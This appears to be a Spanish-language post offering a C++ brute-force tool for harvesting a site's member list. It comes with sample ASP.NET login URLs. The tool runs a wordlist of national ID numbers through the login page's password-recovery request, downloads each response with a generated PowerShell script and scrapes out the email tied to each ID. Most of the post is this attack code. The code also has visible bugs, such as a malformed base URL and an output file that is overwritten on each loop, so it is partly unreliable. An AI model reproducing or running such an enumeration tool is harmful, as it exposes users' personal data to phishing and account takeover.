Obteniendo memberlist's mediante fuerza bruta

http://example.com/Login.aspx?__LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC=USUARIO2&TextC=CONTRASEÑA2&BPase=Acceder

http://example.com/Login.aspx?__LASTFOCUS=&__EVENTTARGET=LinkButton1&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC=USUARIO1&TextC=&

#include <iostream>
#include <fstream>
#include <string.h>
#include <windows.h>
using namespace std;

char cedula[320];
char aux[] = {"http://example.comLogin.aspx?__LASTFOCUS=&__EVENTTARGET=LinkButton1&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC="};


char URL[600] = {"http://example.com/Login.aspx?__LASTFOCUS=&__EVENTTARGET=LinkButton1&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC="};


char URL2[] = {"&TextC=&"};
char TC[10];
char correo[50];

void wordlist();
void script();
void searcher();
bool request(char *&);

ofstream output;

int main(){
cout<<"\n\n\n";

	cout<<"MEMBER LIST BRUTEFORCE || By: TOMJASP3R"<<endl;
	wordlist();		//funcion que carga la wordlist a la variable cedula
	int j=0;
	do{
	
	for(int i=0; i<strlen(cedula); i++){			//almacena una de las cedulas en TC
		if(cedula[j] != ',' && cedula[j]!= '.'){
			TC[i]=cedula[j];
		}
		if(cedula[j]==','){
			break;
		}
		j++;
	}
	
	j=j+1;
	
	cout<<"BUSCANDO USUARIO: "<<TC<<endl;
	
	strcat(URL,TC);		//..
	strcat(URL,URL2);	//armando la URL 	
	fflush(stdout);		//..
	script();			//funcion que corre el script PowerShell

	strcpy(URL,aux);
	
	
	output.open("memberlist.txt");
	searcher();			//funcion que busca el correo dentro del html
	
	system("del C:\\users\\desktop\\html.txt");
	
}while(cedula[j]!='.');
	output.close();
	return 0;
}

void wordlist(){
	
	ifstream archivo("wordlist.txt");

	long cont=0;
	
	if(archivo.fail()){
		cout<<"ERROR // WORDLIST NO ENCONTRADO"<<endl;
	}
	
	else{
		while(!archivo.eof()){
			archivo.getline(cedula,sizeof(cedula));
		}
	}
	
}

void script(){//creando sript PowerShell
	
	ofstream script;
	script.open("download.ps1");
	
	script<<"echo \"BUSCANDO CORREO\" "<<endl;
	script<<"$url = \""<<URL<<"\""<<endl;
	script<<"$output = \"C:\\users\\desktop\\html.txt\""<<endl;
	script<<"Import-Module BitsTransfer"<<endl;
	script<<"Start-BitsTransfer -Source $url -Destination $output"<<endl;
	script<<"echo LISTO"<<endl;
	script.close();

	system("download.ps1");
	
}

void searcher(){//buscando correo en el HTML descargado
	bool K=false;
	ifstream html ("C:\\users\\desktop\\html.txt");
	
	char *line;
	
	line = new char[3000];
	
	while(!html.eof()){//leyendo html hasta encontrar la linea donde se encuentra el correo
		html.getline(line,3000);
		if(request(line)==true){
			break;
		}
		
		else{
			continue;
		}
	}
	
	int j=0;
	
	for(int i=0; i<strlen(line); i++){
		
		if(line[i] == 'a' && line[i+1] ==' ' && line[i+2]=='a'){//extrayendo correo y guardando en archivo txt
			
			do{
				correo[j]=line[i+3];
				j++;
				i++;
				
			}while(line[i+3]!='<');
			cout<<"CORREO ENCONTRADO!!: "<<correo<<endl;
			output<<correo<<" || "<<TC<<endl;
			K=true;
			break;
		}
	}
	
	if(K==false){
		cout<<"USUARIO NO REGISTRADO"<<endl;
	}
	
	delete [] line; 
	
}

bool request(char *& linea){

for(int i=0; i<strlen(linea); i++){
	
	if(linea[i]=='3' && linea[i+1]=='9' && linea[i+2]=='4'){
		return true;
	}
}
		return false;
}